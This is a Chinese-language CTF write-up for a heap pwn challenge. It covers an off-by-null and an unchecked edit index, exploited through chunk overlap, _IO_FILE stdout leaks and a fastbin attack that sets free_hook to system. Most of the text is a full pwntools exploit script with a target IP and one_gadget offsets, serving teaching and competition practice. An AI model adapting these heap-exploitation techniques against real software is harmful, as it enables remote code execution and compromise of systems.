保护全开。主要分析一下程序中的主要逻辑。
这边是程序初始化的时候做的,主要功能其实就是限制你不能修改malloc_hook和free_hook。 他每次会将执行malloc_hook和free_hook的替换。edit功能存在没有限制索引的漏洞,可以向后修改,并且有off-by-null。
这题没有输出,主要思路就是修改_IO_FILE来进行leak。可以使用edit的负数直接拿到bss上的stdout直接进行修改,我用的方法是unsorted bin的main_arena地址覆盖fastbin的fd。然后部分修改到stdout,然后进行修改_IO_write_base进行leak。首先就是使用off-by-null进行chunk overlap。部分代码如下
add(0x90) #0 add(0x68) #1 add(0xf0) #2 add(0x20) #3 free(0) edit(1,'a' * 0x60 + p64(0x110)) free(2) # unsorted free(1) add(0x90) #0 add(0x160) #2 free(0) free(1) add(0x100) #0 edit(0,'a' * 0x90 + flat(0x0,0x71,"\xdd\x25")) add(0x60) #1 add(0x60) #2 edit(2,'a' * 0x23 + flat(0x0,0x7f,0xfbad1800, 0x0,0x0,0x0) + "\x00")
其实你分析分析首先的malloc_hook和free_hook作者设置的限制,其实里面还是可以利用的点的。你把bss上的全局指针修改掉就可以劫持。 但是苦就苦在我们不能不知道程序的基地址。but我们可以修改stdout _IO_FILE结构体来进行leak,二次修改_IO_write_base到malloc_hook进行泄露程序地址。拿到地址后就可以fastbin attack到bss修改全局变量,我选择修改free_hook bss为system。然后free一块/bin/sh就bingo了。具体exp如下:
#coding:utf-8 from pwn import * import argparse # env = os.environ # env['LD_PRELOAD'] = './libc64.so' IP = '154.8.174.214' PORT = '10001' binary = './pwn' context.binary = binary io = None parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) sla = lambda x,y : io.sendlineafter(x,y) rud = lambda x : io.recvuntil(x,drop=True) ru = lambda x : io.recvuntil(x) def lg(s, addr): print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr)) if args.remote: io = remote(IP, PORT) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") elf = ELF(binary) elif args.local or args.debugger: # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")} env = {} io = process(binary, env=env) elf = ELF(binary) proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))] libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6'] libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: parser.print_help() exit() libc_base,__malloc_hook,system = None,None,None def magic(offset): ru("\x7f") ru("\x7f") global libc_base,__malloc_hook,system leak = u64(ru("\x7f")[-6:].ljust(8,'\x00')) lg('leak',leak) libc_base = leak - offset lg('base',libc_base) __malloc_hook = libc_base + libc.symbols['__malloc_hook'] system = libc_base + libc.symbols['system'] def debug(msg=""): msg = """ x/20xg 0x{:x} x/8xg 0x{:x} b *0x{:x} """.format(proc_base + 0x202080, proc_base + 0x202050, proc_base + 0xF43 ) pwnlib.gdb.attach(io,msg) def add(sz): sla(">>","1") sla("size",str(sz)) def free(idx): sla(">>","2") sla("idx",str(idx)) def edit(idx,con): sla(">>","3") sla("idx",str(idx)) sla("text",con) def exploit(): add(0x90) #0 add(0x68) #1 add(0xf0) #2 add(0x20) #3 free(0) edit(1,'a' * 0x60 + p64(0x110)) free(2) # unsorted free(1) add(0x90) #0 add(0x160) #2 free(0) free(1) add(0x100) #0 edit(0,'a' * 0x90 + flat(0x0,0x71,"\xdd\x25")) add(0x60) #1 add(0x60) #2 edit(2,'a' * 0x23 + flat(0x0,0x7f,0xfbad1800, 0x0,0x0,0x0) + "\x00") magic(0x3c56a3) free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,libc_base + libc.symbols['_IO_2_1_stdout_'] - 0x10)) add(0x60) #1 add(0x60) #2 edit(4,flat(0xfbad1800, 0x0,0x0,0x0,libc_base + 0x3c3ef0)) io.recv() program_leeak = u64(io.recv(6).ljust(8,'\x00')) lg('program_addr',program_leeak) program_base = program_leeak - 0x202020 lg('program_base',program_base) store_malloc_hook = 0x202050 + program_base fd1_bss_free_hook = 0x20204d + program_base free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,program_base + 0x20203d)) add(0x60) add(0x60) edit(5,'a' * 3 + flat(__malloc_hook,system)) edit(0,"/bin/sh\x00") free(0) # debug() io.interactive() """ modify rt_global failed fd = libc_base + 0x5f0de5 lg('fd',fd) free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,fd)) add(0x60) #1 add(0x68) # edit(4,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f)) fd2 = 0x5f0e4d + libc_base free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,fd2)) add(0x60) #1 add(0x60) edit(5,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f)) fd3 = 0x5f0ead + libc_base free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,fd3)) add(0x60) #1 add(0x60) edit(6,flat(0x0,0x7f) * (0x68 // 16) + p64(0x7f)) fd4 = 0x5f0f0d + libc_base free(1) edit(0,'a' * 0x90 + flat(0x0,0x71,fd4)) one_gg = libc_base + 0x45216 add(0x60) #1 add(0x60) edit(7,'a' * (0x33-0x8) + p64(0x3cac90 + libc_base)+ p64(one_gg)) lg("one_gg",one_gg) """ if __name__ == "__main__": try: exploit() except EOFError as e: exit(0) """ 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """